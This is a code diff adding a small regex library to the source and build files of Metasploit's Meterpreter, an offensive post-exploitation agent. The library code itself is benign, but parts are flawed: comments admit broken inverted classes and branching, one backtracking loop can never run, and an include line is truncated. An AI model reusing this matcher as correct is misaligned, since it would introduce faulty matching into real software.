+static int matchstar(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength)
+{
+ size_t prelen = *matchlength;
+ const char* prepoint = text;
+ while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset]))
+ {
+ text_offset++;
+ (*matchlength)++;
+ }
+ while (&text[text_offset] >= prepoint)
+ {
+ if (matchpattern(pattern, text, text_length, text_offset--, max_match_length, matchlength))
+ return 1;
+ (*matchlength)--;
+ }
+
+ *matchlength = prelen;
+ return 0;
+}
+
+static int matchplus(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength)
+{
+ const char* prepoint = text;
+ while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset]))
+ {
+ text_offset++;
+ (*matchlength)++;
+ }
+ while (text > prepoint)
+ {
+ if (matchpattern(pattern, text, text_length, text_offset--, max_match_length, matchlength))
+ return 1;
+ (*matchlength)--;
+ }
+
+ return 0;
+}
+
+static int matchquestion(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength)
+{
+ if (p.type == UNUSED)
+ return 1;
+ if (matchpattern(pattern, text, text_length, text_offset, max_match_length, matchlength))
+ return 1;
+ if ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset++]))
+ {
+ if (matchpattern(pattern, text, text_length, text_offset, max_match_length, matchlength))
+ {
+ (*matchlength)++;
+ return 1;
+ }
+ }
+ return 0;
+}
+
+
+#if 0
+
+/* Recursive matching */
+static int matchpattern(regex_t* pattern, const char* text, int *matchlength)
+{
+ int pre = *matchlength;
+ if ((pattern[0].type == UNUSED) || (pattern[1].type == QUESTIONMARK))
+ {
+ return matchquestion(pattern[1], &pattern[2], text, matchlength);
+ }
+ else if (pattern[1].type == STAR)
+ {
+ return matchstar(pattern[0], &pattern[2], text, matchlength);
+ }
+ else if (pattern[1].type == PLUS)
+ {
+ return matchplus(pattern[0], &pattern[2], text, matchlength);
+ }
+ else if ((pattern[0].type == END) && pattern[1].type == UNUSED)
+ {
+ return text[0] == '\0';
+ }
+ else if ((text[0] != '\0') && matchone(pattern[0], text[0]))
+ {
+ (*matchlength)++;
+ return matchpattern(&pattern[1], text+1);
+ }
+ else
+ {
+ *matchlength = pre;
+ return 0;
+ }
+}
+
+#else
+
+/* Iterative matching */
+static int matchpattern(regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength)
+{
+ size_t pre = *matchlength;
+ do
+ {
+ if ((pattern[0].type == UNUSED) || (pattern[1].type == QUESTIONMARK))
+ {
+ return matchquestion(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength);
+ }
+ else if (pattern[1].type == STAR)
+ {
+ return matchstar(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength);
+ }
+ else if (pattern[1].type == PLUS)
+ {
+ return matchplus(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength);
+ }
+ else if ((pattern[0].type == END) && pattern[1].type == UNUSED)
+ {
+ return (text_offset == text_length - 1);
+ }
+/* Branching is not working properly
+ else if (pattern[1].type == BRANCH)
+ {
+ return (matchpattern(pattern, text) || matchpattern(&pattern[2], text));
+ }
+*/
+ (*matchlength)++;
+ }
+ while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(*pattern++, text[text_offset++]));
+
+ *matchlength = pre;
+ return 0;
+}
+
+#endif
diff --git a/c/meterpreter/source/tiny-regex-c/re.h b/c/meterpreter/source/tiny-regex-c/re.h
new file mode 100644
index 000000000..1419df34a
--- /dev/null
+++ b/c/meterpreter/source/tiny-regex-c/re.h
@@ -0,0 +1,71 @@
+/*
+ *
+ * Mini regex-module inspired by Rob Pike's regex code described in:
+ *
+ * http://www.cs.princeton.edu/courses/archive/spr09/cos333/beautiful.html
+ *
+ *
+ *
+ * Supports:
+ * ---------
+ * '.' Dot, matches any character
+ * '^' Start anchor, matches beginning of string
+ * '$' End anchor, matches end of string
+ * '*' Asterisk, match zero or more (greedy)
+ * '+' Plus, match one or more (greedy)
+ * '?' Question, match zero or one (non-greedy)
+ * '[abc]' Character class, match if one of {'a', 'b', 'c'}
+ * '[^abc]' Inverted class, match if NOT one of {'a', 'b', 'c'} -- NOTE: feature is currently broken!
+ * '[a-zA-Z]' Character ranges, the character set of the ranges { a-z | A-Z }
+ * '\s' Whitespace, \t \f \r \n \v and spaces
+ * '\S' Non-whitespace
+ * '\w' Alphanumeric, [a-zA-Z0-9_]
+ * '\W' Non-alphanumeric
+ * '\d' Digits, [0-9]
+ * '\D' Non-digits
+ *
+ *
+ */
+
+#ifndef _TINY_REGEX_C
+#define _TINY_REGEX_C
+
+#ifndef RE_DOT_MATCHES_NEWLINE
+/* Define to 0 if you DON'T want '.' to match '\r' + '\n' */
+#define RE_DOT_MATCHES_NEWLINE 1
+#endif
+
+#ifdef __cplusplus
+extern "C"{
+#endif
+
+// size_t for 32-bit compilation.
+#include
+
+typedef struct regex_t
+{
+ unsigned char type; /* CHAR, STAR, etc. */
+ union
+ {
+ unsigned char ch; /* the character itself */
+ unsigned char* ccl; /* OR a pointer to characters in class */
+ } u;
+} regex_t;
+
+/* Typedef'd pointer to get abstract datatype. */
+typedef struct regex_t* re_t;
+
+#define MAX_REGEXP_OBJECTS 255 /* Max number of regex symbols in expression. */
+#define MAX_CHAR_CLASS_LEN 255 /* Max length of character-class buffer in. */
+
+/* Find matches of the compiled pattern inside text. */
+int re_matchp(re_t pattern, const char* text, size_t text_length, size_t max_match_length, size_t* matchlength);
+
+/* Compile a regular expression in-place, allowing for multiple needles to be compiled without the usage of a static buffer. Returns ERROR_SUCCESS (0) on success, else 1. */
+int re_compile(const char* pattern, size_t pattern_length, re_t compiled_regex, unsigned char* regex_char_buffer);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* ifndef _TINY_REGEX_C */
diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
index f783b441a..813117b2d 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt
@@ -22,6 +22,7 @@ include_directories(../../source/common)
include_directories(../../source/jpeg-8)
include_directories(../../source/ReflectiveDLLInjection/common)
include_directories(../../source/extensions/stdapi/server)
+include_directories(../../source/tiny-regex-c)
set(SRC_DIR ../../source/extensions/stdapi)
file(GLOB_RECURSE SRC_FILES
@@ -29,6 +30,7 @@ file(GLOB_RECURSE SRC_FILES
${SRC_DIR}/*.cpp
${SRC_DIR}/*.rc
${MOD_DEF_DIR}/extension.def
+ ../../source/tiny-regex-c/*.c
)
list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/server/resource/hook.c)
diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
index 238aa06ee..8256f7229 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
@@ -559,6 +559,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"
+
@@ -587,6 +588,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"
+